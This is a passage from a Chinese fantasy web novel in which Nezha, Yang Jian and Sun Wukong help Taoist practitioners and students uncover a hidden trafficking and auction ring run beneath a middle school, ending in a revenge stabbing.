计明秀立刻屏住了呼吸，两人躲在楼梯拐角处，听着越来越近的脚步声，皆做出防御姿势。
“我就说你们在这里吧！”随着这一声嚷嚷，楼梯间的灯也被人“啪”一下打开。
韩全探头看下，一个小孩儿正站在下面，仰头得意地看着他。
“你怎么会在这里？”韩全一副见了鬼的样子。
“谁家小孩儿走丢了？”计明秀大惊，随即反应过来，更惊讶道：“你们认识？”又觉得这个问题不是最重要的，“你怎么进来的？”
哪吒笑眯眯跟她招手打招呼：“姐姐你好，我是哪吒。”
“哦……哪吒……哪吒！！！”计明秀根本顾不了其他，声音大得差点把整栋楼震塌。
韩全终究忍不住了，吐槽道：“你一个小孩子，能不能别到处碰瓷，你家里人没教过你做人要踏踏实实吗？”
“看来杨某要向你讨教一下教育问题了。”杨戬不知从哪里出来，站在哪吒身后。
韩全立刻想到自己手里的符纸，瞬间闭上了嘴。而他身边的计明秀早已经看呆了眼，喃喃道：“老天爷，你可真是我的奶，还真派了个神仙来救我。”
韩全扯了扯她的袖子，“姐妹儿，别花痴了！”
“前辈。”他不知道该如何称呼眼前这两人，但心里觉得他们确实值得称呼一声“前辈”，“冒昧问一句，你们怎么进来的？”
“当然是从大门口光明正大地进来的。”声音从上方传来。
韩全和计明秀一抬头就看到了倚在墙边双手环抱的年轻人，精明的目光，灵秀的眉毛，看起来从容不迫，仿佛根本不知道这里刚刚才发生过什么。
计明秀总算是回过味来，她先问韩全：“你认识他们？”
韩全点头，“符，就是这位前辈给我的。”他指了指杨戬。
杨戬颔首，“我们是来帮忙的。”
哪吒歪头，“姐姐你刚才不是在请求神仙帮忙吗？”
这不，神仙就来了。
5. 狌狌
夜正深沉，整个校园已被覆盖上一层白雪，衬着空荡的校园更显凄凉。
韩全被十几个人围在中间，解释完哪吒三人的来历，大家都沉默下来，目光望向宗承望，等着他下论断。
宗承望也目光定定，他是玄学界年青一代最有天赋的一人，在今天这样的情况之下，大家都不约而同地以他为首，而他也绝不能让自己的众多同门失望。
他打量着站在一边的三人，最小的那个孩子穿黑色的皮夹克，单薄又瘦小，却丝毫不回避他的目光，眉目清冷如画的那位正在垂眸深思，仿佛根本不在意他们这些人的想法，双手枕头看起来懒洋洋的那个在他们说话的时候已经四处打量完了这个校园，此刻正用审视的目光逡巡过在场的每一个人。
宗承望不得不承认一个事实——这三人根本不在意他们的看法。亦或许，对他们来说，根本无须在意。
他终究还是选择相信自己的直觉，裹着黑色的羽绒服在浓重的夜色中看起来更显深沉，对他们三人一拱手，“希望三位前辈能鼎力相助，宗某携天一观全体师门先行谢过。”
“宗师兄？”身后有人不解，不过是一个小小的门派试炼，怎么就用得着这么隆重了？
宗承望并未解释，他掩下眼底的凝重，回头开始安排。
“接下来，我们重新分组。”
韩全和计明秀对视一眼，“那其他人呢？”
此刻在这里的并不是参赛的全部人，还有二十多人没有赶过来，不知是有了其他发现还是什么原因。
宗承望面对众人解释：“浮云观的大师姐带着其他人在学校运动场那边，我们说好的兵分两路，大家不用担心。”
他语气不急不缓，一下子就安抚了众人的心。
只他身后的三人听完他的话，面色变了一下。
孙悟空上下打量他一番，疑惑传音：“他不知道其他人不见了？”
杨戬轻笑，“应当是知道的。”
他幽幽评价：“他很不错。”
知道他们现在既无法与外界联系，又得知了同来的多人失踪的消息，却还是第一时间站出来主持大局，并快速调整形势，不得不让人刮目相看。
“可是他撒谎诶。”哪吒指指点点。
“管他的。”孙悟空才不在意，他只关心接下来他们三人应当怎么做。
“杨小二，这个事情我们得管吧？”
杨戬颔首，“自然。”这个学校太过“干净”了，干净得令人害怕。
越是干净的地方，底下的污垢就越脏。
他们得找到那个藏污纳垢的缺口才行。
那边，宗承望的分组到了最后阶段，他身旁只剩下韩全和计明秀二人，他带着他俩走到哪吒身旁，对大家道：“我们三人就和这三位前辈一组了。”
其他人并未提出异议。
等人群散开，宗承望才紧抿着唇，对韩全和计明秀道：“我们去足球场。”
浮云观的大师姐元沐最后给他发的一条消息就在那里，她说：“宗师弟，学校足球场后门有古怪。”
随后就再无音讯，跟着她一同在足球场及后来赶去足球场的众人都消失不见了。
韩全和计明秀对他的安排倒是没有异议，只看杨戬他们三人的想法了。
杨戬点头，孙悟空道：“我们听你们的。”
南东中学的后门开在足球场的小树林后面，可以说是逃课的绝佳位置。这个学校注意不到的天然漏洞，又好进又好出。
此刻，就有四个鬼鬼祟祟的身影小心地推开了那扇长期无人上锁的铁门，如入无人之境一般，走进了学校。
他们的身后，一缕红色的灵气悄无声息地跟着，只是他没能进入学校，一头撞在结界上，摔到了地上，摔出了原型。
兔妖看着结界内的三个身影，也顾不上自己此时是一只兔子了，一边举着爪子挠门，一边大喊：“仲秋，你个小兔崽子，快给我出来！危险！”
仲秋只觉得隐约听见了自己的名字，回过头却什么都没有看见，忍不住发出疑问：“你们听见有人喊我没有？”
徐嘉凡回头，身后空无一人，不禁打了个寒颤，瞪他道：“能不能不要吓人！”
叶青竹拍了拍徐嘉凡的手，“你小声一点。”
吕淼淼提醒：“没事，这里除了我们没有其他人。”
其他三人：“……”
叶青竹把手里青绿色的树叶分给三人，叮嘱他们：“把这个放好，我们几个千万不能走散了，如果走散了，把叶子握在手中，想着我们教室的位置，去教室里等其他人。”
叶青竹总是能拿出一些奇奇怪怪的东西来，仲秋和吕淼淼熟练地把叶子揣在了怀里。
徐嘉凡拿着叶子在鼻子边闻了闻，有一种淡淡的香气，闻完仿佛脑子都变清醒了，“放心吧青竹，不用担心我们。”
叶青竹皱眉，“特别是你徐嘉凡……”
徐嘉凡无奈：“你怎么比桑桑还念叨……”
话音戛然而止，仲秋解围：“没事，我们今天的任务就是来找桑桑的嘛，多念几声说不定还能把她念出来了。”
吕淼淼看着叶青竹苍白的脸色，气鼓鼓地瞪了两人一眼，拉着叶青竹走在前面，“你们两个就跟在后面，不许说话了。”
四人就这样一前一后地走在足球场上。
徐嘉凡又忍不住提出：“可是我们现在去哪里找啊？”
学校实在太大了，几人毫无头绪，全凭着一腔同学情闯进来的。
叶青竹却并不回话，她攥紧了手里的绿叶，仿佛抓着一根救命稻草。
而足球场的另一边，宗承望一行人刚刚踏入入口，就感受到了其他人存在的气息，比他更快的是孙悟空。
他传音问道：“小藕片儿，那不是你的同学们吗？”
哪吒更是疑惑：“他们怎么进来的？”
一行人不约而同地加快了脚步。
等他们慢慢走近了，那四人终于注意到他们的身影。仲秋不认识杨戬和孙悟空，更没注意到被宗承望的身躯挡住的哪吒，忍不住对另外三人发问：“现在怎么办？”
叶青竹站定在原地，将手中绿叶收好，摇头道：“没事。”
吕淼淼和徐嘉凡也松了一口气。
等离几人只有几步远的距离了，哪吒从后面几步跑上前，询问他们：“你们怎么在这里？”
徐嘉凡惊喜极了，走到前面就捏了一下他的脸，“哪吒！真的是你！”
哪吒白眼一翻，后退一步解救自己，“不是我，是鬼。”
“我们从后门进来的。”徐嘉凡这下可不会被吓到了。
随即又反应过来：“你怎么会在这里啊？”
杨戬和孙悟空也从后面走到了前面，他们两个结结实实地挡住了宗承望三人的视线。
杨戬温声回话：“哪吒说他的同学不见了，叫我们来帮忙找找。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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他和孙悟空的目光紧紧地停留在叶青竹的身上，良久才错开。
叶青竹迎着两人的目光，呼吸微滞，但还是在心里安慰自己：不可能被发现的，她说过的，这世上没人能发现。
但一想到那个人，她的脸色却更加苍白。
吕淼淼担忧地握紧了她冰凉的手。
叶青竹捏了捏她的手指表示自己没事。
徐嘉凡是最高兴的，“太好了！我们也是来找桑桑的，这下我们可以一起了。”
仲秋也放下了心，有大人一起总要安全些。
杨戬身后的宗承望适时地探出头来，“这恐怕不行。”
他从杨戬身后走出来，看着这几张稚嫩的脸庞，叹了口气，这可真是……越添越乱。
“你们还是赶紧回家吧。”
孙悟空在一旁笑眯眯地提醒道：“进来容易，出去只怕是有点难了。”
计明秀的目光在叶青竹身上停留了两秒，蹙着眉毛对韩全道：“这个小姑娘有点不对劲。”
韩全立刻扯了扯宗承望的袖子，也说：“不如就让他们跟着我们一起吧。”
宗承望无奈点头。
于是这一支队伍愈发壮大，向足球场后面的小树林走去。
宗承望和杨戬走在最前头，两人无话。
韩全和计明秀跟在他们后面，探讨计明秀刚刚的发现，计明秀抬头望天，“女人的直觉。”韩全无言。
哪吒和叶青竹他们走在一起，问他们：“你们家里人知道你们来这里了吗？”
徐嘉凡大呼：“要是被他们知道了我们还来得了吗？”
哪吒转头问叶青竹：“那你呢？”他神色饱含深意，定定地盯着她，仿佛要将她的灵魂看穿。
叶青竹摇摇头，“我没回家。”
他“哦”一声，又转头问仲秋：“你家里人没跟着你来？”
“啊？”仲秋被他问得一愣，随即也摇头，“我说我去同学家玩了啊。”
哪吒若有所思，喃喃道：“也对，他应当是进不来这里的。”
仲秋没听清他的话，倒是突然有了异样的感觉，他小心翼翼地举起手，“我可以去上个厕所吗？”
众人停下脚步，目光齐齐聚向他。
仲秋指了指不远处，弱弱道：“我刚好看到厕所了。”
一直跟在后面的孙悟空上前，“我陪你去。”
他一边朝厕所走去，一边喊仲秋：“跟上。”
仲秋快速跟上他的脚步。
厕所有灯，仲秋松了口气，他不好意思地对孙悟空说：“那麻烦大哥你等我一下了。”
孙悟空却跟着他进了厕所，“尿吧。”
“啊？”仲秋捏着裤子的手一紧，迟疑道：“你要看吗？”
孙悟空转过身。
仲秋才刚拉下裤子的拉链，就觉得一阵强风拂面而来，吹得他睁不开眼，随即腰上被人一带，他只来得及留下一声惊呼。
“啊——”
外面的众人被惊呼声引来。
厕所空无一人，空气凝滞了几秒钟。
叶青竹腿一软，差点摔在地上。
韩全瞪大了双眼：“现在怎么办？”
他一时不知道该看向杨戬还是宗师兄，最终只能愣愣地盯着哪吒。
哪吒慢吞吞抬起头，“二哥，怎么办？”
杨戬摸了摸他的头，竟是勾出一个笑容，“是啊，该怎么办。”
6. 狌狌
仲秋再次醒来的时候——只觉得自己好像没醒过来。
怎么这么黑啊？这什么破地方？他双手撑在冰凉的地上，想要发出一声表示难受的吟叫，却在察觉到自己似乎并没有哪里不适以后尴尬地挠了挠头，从地上站了起来。
“还好只有我一个人。”他小声嘀咕，却并不思考自己当下的处境。
“你醒了。”直到身后传来声音，他才被吓了一跳，发出一声短促的叫声：“啊——”
一转头，看见了一双发亮的眼睛，是真的在发亮！仲秋吓得吱哇乱叫：“救命啊！！”他一边叫一边慌不择路地想逃跑，却不想才跑了两步就撞到了墙上，发出“咚”的一声，于是他又大喊：“好痛！”
黑暗中目睹了全程了孙悟空：“……”他走过去一把提起仲秋，另一只手从身后一掏，拿出一盏蜡烛来。
“别叫了，小孩儿，是我。”
蜡烛瞬间将这个狭小的空间照亮，仲秋这才看清楚面前的人正是陪着他上厕所的孙悟空。
“李……李大哥？”仲秋捂着额头，泪眼汪汪，“还好是你！我还以为是妖怪呢！”他长长地松了一口气。
“妖怪？”孙悟空没有纠正他对自己的称呼，把蜡烛塞到他手里，“你相信这个世界上有妖怪？”
仲秋点头，“相信啊。”他跟上孙悟空的步伐，小声道：“要不是妖怪，我们两个怎么会莫名其妙被带来这个鬼地方？”
他小心翼翼地问：“我们现在在哪里啊？”
孙悟空懒懒道：“不知道。”
仲秋举着蜡烛，小心翼翼地放轻自己的脚步，跟在孙悟空后面，他不时地回过头视察身后的情况，却只能看到一望无际的黑。他也不知道自己跟着孙悟空七拐八拐了多少次，最后才在一个墙角停了下来。
他疑惑地问前面的背影：“怎么了李大哥？”
孙悟空抬着头，疑惑地看着墙上那个闪着红色亮点的方正之物，进学校的时候他就见过了，只是那时候没来得及问一下哪吒。
仲秋挤到前面，一抬头，就跟摄像头对了个正着，他哆嗦着抓住孙悟空的袖子，“监……监控器！”他不解：“妖怪怎么还会用监控器啊！”
孙悟空没搭理他，眯眼看了半晌，突然笑了一下，“你们，是不是在找我？”
监控室里，关元辉几乎整个身子趴在了屏幕上，露出贪婪的神情，“我一定……我一定会找到你，得到你。”
“关元辉你个智障！”门被人从外面一脚踢开。关悦从外面进来，一把将关元辉扒过来，照着他的脸就来了一巴掌。
“你是不是有病！在这个节骨眼儿上给我弄了三个人来！”关悦气得声音都在发抖，“我他妈在想办法给你擦屁股你就在这里想男人是吧？”
关元辉摸了摸自己的脸，并不生气，对守在门口的两人挥了挥手，笑着给关悦揉了揉手，说：“别这么气啊妹妹。”
门关上，他大剌剌地躺坐在椅子上，那张因为纵情酒色而略显苍白的脸庞满是回味的神情，“从看到他进学校的时候，我就知道，我一定要得到他。”
关悦看着他的样子，颓然地抚了抚额头，“你让我把林陌桑弄来，我给你弄来了，结果现在惹了这么多玄学界的人来调查！你知不知道林家有多宝贝这个小女儿！”
关元辉一笑：“我当然知道。”他眉底阴郁，“我还知道……你打算把她送回去。”
“这可不行啊妹妹……只要我们把她送到李老爷子的床上，拿到跟李家的这次合作，我们还用怕林家吗？”
关悦神色变了两下，最终却只是问：“怎么送？现在盯着南东的眼睛太多了，你以为真的只有进来的这些人在调查吗？”
“可是学校里面，完全处于我们的监控之下啊。”他转过身，一整墙的电子屏幕密密麻麻地显示着校园里每一个角落的动态，“只要学校还是我们的天下，就谁也找不到这里。”
关悦忍不住提醒：“可是李哪吒的哥哥跑了。”
关元辉毫不在意，“他逃不脱我们的掌控的。这个地方，除非这世上真有神仙，要不然，谁能救得了他们呢？”他又提醒关悦：“明晚的竞拍，记得把那个清心派的小弟子也挂上，这个不一样的货色，会有人喜欢的。”
关悦颓然点头：“知道了。”
“尽快把仲秋和李哪吒的哥哥找回来，校董会那边决定明晚的竞拍结束以后就复学，不能耽误学生的课程。”
关悦嗤笑一声，那群老不死的不过是迫不及待地想物色新货物了。
“走吧，我要去把我的小宝贝给找回来。”
“李大哥，我们快跑吧！”仲秋嗅到了空气中危险的气息，忍不住提醒孙悟空。
孙悟空冷哼一声：“跑？我倒要看看该跑的是谁。”他将手往后脑勺一枕，继续向前走着，还叫仲秋跟上。
仲秋见他一副有恃无恐的样子，也半推半就地放了心，“那……我们现在去干嘛？”
孙悟空问他：“你想去干嘛？”
仲秋挠头，“我想去找桑桑，她一定也是被带到了这里。”
孙悟空点头，“那俺……我……就满足你的愿望。”
他说：“跟着我。”
仲秋忙不迭跟上他。
两人又七拐八拐了一会儿，眼前的路突然就宽敞了起来，不再是一片漆黑，走廊两边是一排排的房间，壁灯亮着暖黄色的光。
他们走过了几间房门口，孙悟空停住了脚步。望着门上写的“特等”两个字，仲秋略显疑惑，“这里？”
孙悟空抬了抬下巴示意他敲门。
仲秋犹豫着抬起手。
“咚咚。”
只敲了两下，门就打开了，露出林陌桑的脸来。
她看到仲秋和孙悟空，目光微露惊讶，“你们？”一时竟不知从哪里问起。
但她反应极快地就将两人扯进了屋子，并迅速地锁上了门。
“你们是怎么逃出来了？”林陌桑甚至都没有问就知道他们是被抓来的。
仲秋还没从找到她的惊喜中回过神来，拉着她左看右看，终于确定是她了以后，才松了一口气，“桑桑！还好你没事！”
林陌桑无奈地看着他：“叶青竹给你的叶子呢？”
仲秋连忙从身上摸出那片叶子，放到她眼前，“在呢在呢。”
倚在门口的孙悟空神色猛然一变，快步走过来抓走那片叶子，目光直直地看着林陌桑，问她：“你给他们的？”
仲秋伸手想夺回叶子，没能成功，他只能解释道：“
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李大哥，是青竹给我的。”他强调：“叶青竹，不是林陌桑。”
孙悟空却并不管他，只是目光探究地盯着林陌桑，“小孩儿，你知道这是什么吗？”
林陌桑垂着眸，睫毛微颤，“我不知道你在说什么。”她又推了推仲秋，“带着这片叶子，你们会找到出去的路的。”
孙悟空将翠绿的叶子还给仲秋，戏谑道：“有迷穀的叶子，我们想去哪里去不了？”
林陌桑猛地抬起头。
仲秋听得迷迷糊糊的，却执着地抓住林陌桑的手腕，“桑桑，我们就是来找你的，你和我们一起走。”
林陌桑咬住发白的嘴唇，缓缓摇头，“我不能走。”
她看着孙悟空，仿佛下了很大的决心，“这里不是只有我一个人。”
孙悟空挑眉，等她继续说下去。
“咚咚——咚咚咚——”富有节奏感的敲门声响起。
林陌桑阻止了想要躲起来的仲秋，“没事。”
林陌桑去开门，一个身材高挑的女孩抬着果盘从外面进来，看到屋子里还有其他人她也只是惊讶了一下，随即归于平静。
仲秋却没能很好地掩饰自己的神色，他被女孩脸颊两边纵横交错的伤口惊到了，愣了好一会儿，问道：“我们是不是在哪里见过？”
女孩儿平静道：“我叫卫薇。”
仲秋瞪大了双眼，不可置信：“你不是退学了吗？”
卫薇并未回答。
孙悟空上前一步，看了看她的脸，问她：“疼吗？”
卫薇皱着眉头后退一步，她想说自己不疼，却在抬头看到面前的人眼中溢满的悲悯时止住了声音，只得沉默。
林陌桑深吸一口气，看着孙悟空，“你会帮我们吗？”是问句，语气里却充满了笃定。
孙悟空没有说话，良久，点了点头。
林陌桑一字一句道：“这个地方，满是罪恶。”
仲秋被她眼底迸发的恨意惊到，却还是耐心地问她：“那桑桑，我们需要做些什么？”
林陌桑回他：“你什么都不需要做。”
仲秋后退一步：“哦。”
孙悟空伸了个懒腰，“那就都交给我吧。”
无数的灵力穿过地底，散向天空。
“二哥，是大圣。”哪吒站在杨戬旁边，说道：“他想做什么？”
杨戬摇头：“不知道。”
哪吒当机立断，“我们去找他。”
宗承望的手机突然响了起来，他拿出来看到名字，顾不上其他，连忙接起来，“元师姐。”
电话那边正是消失了一段时间的元沐，她声音略带急切地说道：“宗师弟，总算是联系上你了！学生宿舍这边有发现，你带大家过来！”
“好。”宗承望当机立断就要去学生宿舍，他让韩全和计明秀联系其他人，转头想喊上杨戬和哪吒二人，却发现旁边空无一人，仿佛这两人从来没来过一般。
而结伴坐在另一边的三个学生倒是不发一语。
宗承望定了定心走过去，心知自己不能将这几个孩子丢在这里，“你们……”
他走得近了，才发现坐在这里的竟然只是替身。
宗承望甚至不知道这三人是什么时候被替身所替代的。
7. 狌狌
大雪依然飘飘洒洒，却无论如何都落不到南东中学的地上，半空中仿佛有一层屏障将这个地方和外界彻底隔绝了。
时间拨回十分钟前。
红原作为妖怪，敏锐地嗅到了南东中学的不寻常之处，他一心只想保护自家恩人的二傻子后代仲秋，却不想还没来得及现身就惨被拦截。于是他在校门口现出原型，啃着自己的爪子急得团团转。
空无一人的街巷，昏黄的路灯，一只眼冒红光的兔子，这画面怎么看怎么诡异。在这诡异的氛围之下，偏偏有人路过了这里。
一切都是那么地凑巧。
男人身材高大，穿一件浅棕色的大衣，宽厚的围巾遮挡住嘴巴，一双眼温润流转，他双手插兜，漫步向红原走来。
“一只小兔子。”他笑着，将红原从地上抱了起来。
红原蹬了蹬后腿，却发现这男人的力气很大，只一只手就将他完全禁锢住。不仅如此，他还发现自己无法变成人形了。
红原发出一声闷哼表达自己的不满，男人却揉了揉他的头，说：“你也想跟我走？”
也？红原敏锐地抓住了这个字眼。
男人转头，对着巷子口说道：“过来吧，我们一起进去。”
红原这才发现，巷子口站着一条白色的细犬——他很眼熟。
哮天犬目光警惕地盯着这个看起来温文尔雅的男人，它做神仙也数万年了，却也看不透这个男人的真身，那他一定是比主任更久远的存在，或许，就是他们一直在找的人。
但它可以确定，这个男人对他没有敌意。
哮天犬走了过去，男人赞赏地看着他，“乖狗狗。”
一人一狗一兔就这么畅通无阻地进了学校。
在男人进入学校的一瞬间，所有冒着红光的监控设备全都停止了运作。
而此时，还未有人发现这一变故。
而因为孙悟空和仲秋的莫名失踪再次手足无措的一行人分了三拨坐在操场上。
最气定神闲地当属杨戬和哪吒，他们两人似乎完全不关心自己大哥的去向，哪吒甚至还有闲心从杨戬那里讨来手机玩耍。
越发沉不住气却毫无办法的韩全三人不发一语，直到云沐的电话打进来。
最害怕的当属叶青竹三人，徐嘉凡频频将眼神望向哪吒，却一直得不到回应。吕淼淼一直关注着叶青竹的神色，也越发担忧她。
然而不过是一眨眼的功夫，三人就发现自己换了个地方。
熟悉的教室，“叶青竹”坐在自己的位置上。
徐嘉凡和吕淼淼坐在她身后——那是他们本来的位置。
讲台上却不再是老师，而是换成了他们更为熟悉的那张面孔。
“叶青竹”脸色煞白，“唰”一下从座位上站了起来。
“青竹？”吕淼淼担忧地喊她。
“青竹？”讲台上的男人挑眉看着她。
“叶叔叔！”徐嘉凡瞪大了眼睛，惊喜地看着男人。
叶星把兔子放在讲台上，抬手跟他们打招呼：“几位小朋友，你们好。”
他讲明自己的来意，“青竹好几天没回家了，我很担心她，是来带她回家的。”
“我……”叶青竹用手掐了一下自己的大腿，沿用起叶青竹教给她的话来应付叶星，“我没事，您别担心，我们会解决好的。”
徐嘉凡叹一口气，说：“我们三个倒是没事，只是桑桑还没找到，现在仲秋又不见了，我们都不知道该怎么办了。”
“什么？！”课桌上的灰色兔子炮弹一般冲到了徐嘉凡面前，“嘭”一声变成了人形，扯着徐嘉凡的衣领大声问道：“你说谁不见了？！”
徐嘉凡也大喊一声：“妖怪啊！”眼睛一闭，就要晕过去了。
空气凝固了几秒，徐嘉凡小心翼翼地睁开眼睛，眼前的那张脸并没有消失，他僵硬地转头将求助的目光看向旁边的吕淼淼。
叶星轻喝一声：“好了，放开他。”
红原踌躇了两秒钟，将徐嘉凡放开了。徐嘉凡腿一软，“哐当”一声栽在了地上，脑袋差点磕在课桌上，吕淼淼连忙扶住他。
他嘴里念叨：“我一定是在做梦，一定是……”
“不是。”“叶青竹”打断他。
徐嘉凡：“……”
吕淼淼也小声道：“真的不是。”
“……”
讲桌前的叶星懒得管他们，对他们说道：“接下来，你们就跟着我。”
“青竹，听到了吗？”叶星看着“叶青竹”的眼睛，问她。
“叶青竹”睫毛微颤，垂下眼眸道：“好的。”
关元辉和关悦各自带了一行人站在林陌桑的房间门口。
门打开，屋子里却空无一人。
关元辉和关悦对视一眼，都看出彼此的眼底写着“大事不妙”四个大字。
恰是此时，有人慌乱地闯进屋子，“老板！监控……监控全都坏了！”
关元辉和关悦神色一凛，“走！”
关悦提醒道：“先去找大师。”
等到他们都走了，仲秋大呼神奇：“他们竟然真的看不见我们！李大哥，你是怎么做到的？我可以学吗？”神色难掩兴奋。
饶是冷静如“林陌桑”也忍不住扶额。
卫薇也无奈地摇头。
然而两人都未说什么，只是将目光放在孙悟空身上。
孙悟空问她们：“接下来你们想怎么做？”
卫薇双手垂着，微微颤抖，握紧拳头道：“我也……要去找那位大师。”
“林陌桑”点头表示同意。
仲秋跟着点头。
孙悟空完全顺着三个小孩子的意愿，“那走吧。”
三人刚走出房间，就看到走廊尽头迎面走来两个身影。
“林陌桑”和卫薇条件反射想躲，而站在孙悟空身侧的仲秋早已看清来人的模样，“是哪吒和李二哥！”
“大哥！”哪吒也已经快步走到了他们面前。
杨戬一边走，一边感应着周遭的气息。
如此地干净。
孙悟空却先注意到了他身后白色的细犬，歪头问道：“怎么只带了哮哮？”
不是让哮天犬去把那只小兔妖带来吗？
杨戬朝他点了点头，“已经来了的。”便不再过多解释。
“现在我们要去哪里？”哪吒仰头问他们。
孙悟空指了指“林陌桑”和卫薇，“跟着她们就是。”
杨戬和哪吒的目光落在卫薇的脸上，只一瞬，二人皆蹙眉。
哪吒传音道：“是人为的。”
杨戬回应：“嗯。”
“不要吓到小姑娘。”孙悟空提醒道。
便轻轻揭过了此事。
一路如入无人之境，几人很快就找到了地方。
听得出来，屋子里的人都有些浮躁。
几人听到扔杯子的
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声音，接着是关元辉的怒骂：“不管你用什么方法，明晚的拍卖必须按时进行，还有，把我要的人给我找回来！”
仲秋的目光不自觉地看向孙悟空，并发出疑问：“李大哥，他好像在找你？”
哪吒疑惑：“找你干嘛？”
杨戬也难得露出诧异的目光。
孙悟空挠挠头，“我怎么知道。”
卫薇却已经无暇再听下去，她站在门前，颤抖着抬起手。
就像一年前那样。
不对，不一样的。
这次敲开门，不会再有林铖的身影。
她亲手——将那把刀插在了林铖的胸口。
她的爱人，她日日夜夜没有放弃寻找的爱人，在她毫无准备的时候，就那么猝不及防地出现在她面前。
四目相对时，他衣不蔽体，满身伤痕；她面容狰狞，身形伛偻。
他们都快速地认出了彼此。
卫薇只记得那把含着凉意的刀，林铖握着她的手，对她说：“杀了我。”
他是那样温润骄傲的一个人，彼时却连握住一把刀的力气都没有了，只能一遍一遍地哀求她：“薇薇，杀了我。”
他的傲骨已全数折尽于无涯的磋磨与折辱中。
甚至还被自己的爱人亲眼目睹了如此不堪的面目。
卫薇果真将那把刀缓缓没入了他的胸腔。
林铖用尽最后的力气抬手擦掉了她眼角的那滴泪，跟她说：“别哭，活下去。”
此后卫薇的日日夜夜都伴随着这句话，“活下去”。
只有活下去，她才能为她的爱人报仇，她等了几百个日夜，一步一步靠近关悦，用尽了一切办法，才走到了今天。
“扣扣扣……”
“谁？”关元辉面露警惕，示意守在门边的人开门。两个下属小心翼翼地打开了门，走廊却空空荡荡，什么也没有。
他们小心地左右看了看，才关门回话：“没……没有人。”
关元辉又狠狠地砸下一个茶杯，怒道：“没有人？一群废物，难道是我耳朵聋了不成？”
“没有哦，你耳朵还是很好的。”哪吒站在屋子正中间，笑眯眯地给他下诊断。
“啊——”关悦被突然出现的身影吓了一跳，从座位上弹跳起来，却被地毯一绊，一下子摔倒在了哪吒面前。
哪吒后退一步，惊讶道：“关老师，你怎么这么不小心啊？”
“你认识她？”孙悟空站在门边，很是疑惑。
他旁边的杨戬给他解释道：“哪吒的班主任。”
关元辉此刻终于顾不上找孙悟空了，“蹭”一下站了起来，声音颤抖：“你们……你们怎么冒出来了？”关悦歪歪斜斜地站起身，面色铁青，“我早说过不要小瞧他们了！”
而“林陌桑”已经走到了她身旁，才露出身影，对她道：“关老师，你不应该小瞧任何人。”
关悦遏制了自己喉咙里的尖叫声，看向斜下方的人，“大师，现在该怎么办？”
而她口中的大师无暇回答她的话，早已经是进气多出气少了，“嗬嗬……”
他的胸口，明晃晃地插着一把刀。
卫薇手中还紧紧地握着刀柄。
那把插在爱人胸口的刀，此刻终于被她亲手插进了仇人心上。
孙悟空、杨戬和哪吒明明看见了她的动作，却没有一人出手阻止。
孙悟空摆手：“没事，死不了。”
8. 狌狌
南东中学的夜彻底热闹了起来。
再次踏足足球场，徐嘉凡感慨万千：“又回到熟悉的地点。”
“叶青竹”低声问叶星：“她没事的吧？”
叶星说：“没事。”如果有事，那这个地方就没有存在的必要了。
吕淼淼觑着他们的神情，心底有个模糊的念头一闪而过。
红原哆哆嗦嗦地跟在他们几人后面，很想逃跑，却不敢。
穿过足球场，一直走到围墙边的最大一棵树下，叶星才停下，说：“到了。”
“到了。”云沐领着宗承望在女生宿舍一楼走廊尽头的宿舍门口站定，指着门边的第一张床说道：“这是入口。”
宗承望与她对视一眼，低声说：“师姐你带一部分人在这里守着，我带着一部分人下去。”
云沐却摇头，“我跟你一起去。”
宗承向不远处的韩全和计明秀望去，给她解释道：“于飞白从他们眼皮子底下不见的，他们两个必然不愿意留在这里等，但若是我们两人都不在这上面，万一出了事情，其他师弟师妹只怕是顶不住。”
云沐抿唇思索，她带的这一队人马本来应当是在足球场的，却在靠近围墙的时候突然迷了路，怎么也走不出足球场，甚至与其他人失去了联系。
可以想见若是再有情况发生，作为大师姐的她必然得保护好大家。
不可能所有人都下去，总得有人在外面接应着。她退后一步，“那我留下。”
于是同一时间，学生宿舍与足球场的两个入口，两批人同时走进了学校的地底世界。
底下并不像韩全和计明秀以为的那样潮湿黑暗，相反灯火通明，像一个豪华的酒店。
他们沿着空旷的走道一直走，直到面前被一扇门挡住。
计明秀摸着门锁，低声道：“有符纸封锁，即使有钥匙也打不开。”
“我……”她话音未落，后面就有人举起手，“我可以试试！”
是一个看起来年纪约摸只有十七八岁的小师弟，穿着道袍，背着剑，双眼满是兴趣。
计明秀看了宗承望一眼，退开道：“那师弟你来试试。”
那小师弟兴致勃勃地上前，手指轻轻在空中运了一圈气，燃起一团细小的火，就这么将符纸慢慢烧化了。
黑色的烟灰落在地上。
“没难度嘛！”小师弟嘟囔。
而另一边叶星站在门前，手都没碰到门锁，门就自己开了。
这是一个圆形的大厅，华丽的灯饰，中间布置了几张桌椅，看起来是接待客人用的。
也不知道是什么样的人能成为这地方的客人。
计明秀顺便就走在了最前面，才刚把整个屋子扫视一遍，就听到“咔哒”一声，对面的门也开了。
和叶星四目相对，计明秀只看了一眼就下意识地挪开了自己的眼睛。
身后的韩全却是注意到了徐嘉凡几人，忍不住走上去去，“你们几个……”
宗承望拉住他的手腕，阻止了他上前的动作。
韩全先是不解，却在看到红原以后目光一下子警惕了起来，但他还是朝徐嘉凡三人招招手，“你们快过来。”
沉默。
吕淼淼对他露出歉意的笑容，然后摆了摆手。
而叶星早已将这群人打量完，更是对他们无所谓，只对“叶青竹”几人道：“走吧。”
对面的一行人一直打量着他们，红原瑟缩了几下，忍不住发出抗议，“我……我可是好妖！”
宗承望朝还想上前的韩全摇了摇头，低声道：“没事。”
又问叶星：“我们可否与你们同行？”
叶星无所谓道：“随你们。”
于是队伍壮大起来，由叶星带头，“叶青竹”亦步亦趋地跟在他身旁，低着眉眼，不知道在想些什么。
“有人来了。”杨戬最先察觉到周围的变化。
哪吒几步跳到他和孙悟空中间，三人感受着那股强大的灵力。
“是它！”哪吒环视着屋内的人，最终目光落在“林陌桑”和仲秋身上，“来找他们两个的。”
杨戬颔首。
孙悟空走上前将卫薇拉了
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起来，施法将她手上的血弄了个干净，对她道：“好了，过去吧。”
“林陌桑”适时地出现，将卫薇拉了过去，低声安抚着她：“没事了。”
孙悟空走到主位坐下，略有疑惑地看着关元辉，“你认识我？”
关元辉此刻终于终于明白过来，自己给自己招来了个天大的麻烦，连连摇头：“不……”他似乎又想起什么似的，“放过我，我给你们钱，很多很多的钱，不！你们跟着我！帮我做事！我把所有的钱都给你们！”
关悦冷笑：“哈……”这个蠢货，到现在了还看不清形势。
她看着“林陌桑”，仿佛从未认识她，“你是故意的……”她又问她：“是叶青竹教你的吧？”
“林陌桑”耸了耸肩，“你猜？”
